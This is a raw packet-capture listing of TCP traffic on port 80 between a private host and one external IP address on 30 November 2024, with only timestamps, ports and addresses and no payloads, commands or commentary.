Nov 30, 2024 22:53:15.523904085 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.523917913 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.523927927 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.523962975 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.524988890 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.525002956 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.525080919 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.526124954 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.526165009 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.526189089 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.526221991 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.527296066 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.527307987 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.527369976 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.528408051 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.528470039 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.528486967 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.528497934 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.528534889 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.529619932 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.529633999 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.529685020 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.530730963 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.530744076 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.530797005 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.531899929 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.531912088 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.531960011 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.532978058 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.532989979 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.533037901 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.534122944 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.534135103 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.534145117 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.534183025 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.534203053 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.535279036 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.535290003 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.535368919 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.536437035 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.536448956 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.536509991 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.537576914 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.537589073 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.537642002 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.538710117 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.538764954 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.539274931 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.539288044 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.539298058 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.539338112 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.539365053 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.540474892 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.540488005 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.540534973 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.540555000 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.541553020 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.541564941 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.541615009 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.542709112 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.542721033 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.542774916 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.543838978 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.543849945 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.543859959 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.543898106 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.543920040 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.544986010 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.544998884 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.545056105 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.631022930 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.631128073 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.631441116 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.631642103 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.631704092 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.632107019 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.632183075 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.632405996 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.632456064 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.633035898 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.633096933 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.633352041 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.633404970 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.633766890 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.633817911 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.634200096 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.634255886 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.634680986 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.634737968 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.635126114 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.635175943 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.635453939 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.635514975 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.635987043 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.636042118 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.636302948 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.636358023 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.636775017 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.636831045 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.637080908 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.637130976 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.637803078 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.637856007 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.638092995 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.638144016 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.638751030 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.638802052 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.638922930 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.638978004 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.639416933 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.639472961 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.639777899 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.639832973 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.640501022 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.640557051 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.640647888 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.640702009 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.641407013 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.641489983 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.641549110 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.641591072 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.642154932 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.642167091 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.642205000 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.642208099 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.642221928 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.642241955 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.642271042 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.643125057 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.643179893 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.644308090 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.644366026 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.645013094 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.645068884 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.645164967 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.645215034 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.645765066 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.645809889 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.646091938 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.646142006 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.646718979 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.646770954 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.646856070 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.646900892 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.647494078 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.647548914 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.647840023 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.647887945 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.648489952 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.648549080 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.648683071 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.648740053 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.649276972 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.649332047 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.649581909 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.649657011 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.650311947 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.650362015 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.650453091 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.650542021 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.651089907 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.651141882 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.651253939 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.651278973 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.651288986 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.651318073 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.651343107 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.651712894 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.651787996 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.651921034 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.651969910 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.652446985 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.652502060 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.652843952 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.652899981 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.653366089 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.653419018 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.653628111 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.653681993 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.654211044 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.654269934 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.655093908 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.655106068 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.655153036 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.655688047 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.655745029 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.656224012 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.656235933 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.656290054 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.657099009 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.657111883 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.657172918 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.658027887 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.658040047 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.658087015 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.658859015 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.658869982 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.658915997 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.659729004 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.659739017 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.659785032 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.660362959 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.660414934 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.660913944 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.660968065 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.661432981 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.661443949 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.661489010 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.662086964 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.662166119 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.662314892 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.662363052 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.663173914 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.663184881 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.663233995 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.663800001 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.663855076 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.664159060 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.664210081 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.664648056 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.664700985 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.665503025 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.665513039 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.665561914 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.666305065 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.666315079 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.666354895 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.667156935 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.667166948 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.667208910 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.667953014 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.667963982 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.668009043 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.668519020 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.668566942 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.669065952 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.669078112 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.669118881 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.669598103 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.669647932 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.670036077 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.670087099 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.670706034 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.670716047 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.670758009 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.671262026 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.671309948 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.671807051 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.671854019 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.672334909 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.672404051 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.672522068 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.672573090 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.672914982 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.672965050 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.673491001 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.673535109 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.673999071 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.674010038 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.674058914 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.674582005 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.674635887 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.675127029 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.675177097 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.675739050 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.675786972 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.831043959 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.831190109 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.831243038 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.831321001 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.831796885 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.831847906 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.832453012 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.832464933 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.832500935 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.832525969 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.833230972 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.833281040 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.833348989 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.833399057 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.833664894 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.833714962 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.834067106 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.834115028 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.834899902 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.834909916 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.834954023 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.835310936 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.835366964 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.836122036 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.836133003 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.836178064 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.836904049 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.836956978 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.837469101 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.837481976 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.837522030 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.837893963 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.837944984 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.838294029 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.838344097 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.838624954 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.838675976 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.839035034 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.839085102 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.839451075 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.839499950 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.839863062 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.839915037 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.840280056 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.840332031 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.840672970 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.840725899 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.841084957 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.841135025 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.841494083 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.841573954 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.841903925 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.841955900 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.842330933 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.842384100 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.842750072 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.842801094 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.843182087 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.843230009 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.843570948 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.843621016 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.843935966 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.843983889 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.844374895 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.844425917 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.844980001 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.845030069 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.845189095 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.845237970 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.845596075 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.845648050 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.846055031 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.846105099 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.846419096 CET	80	49741	185.215.113.16	192.168.2.9
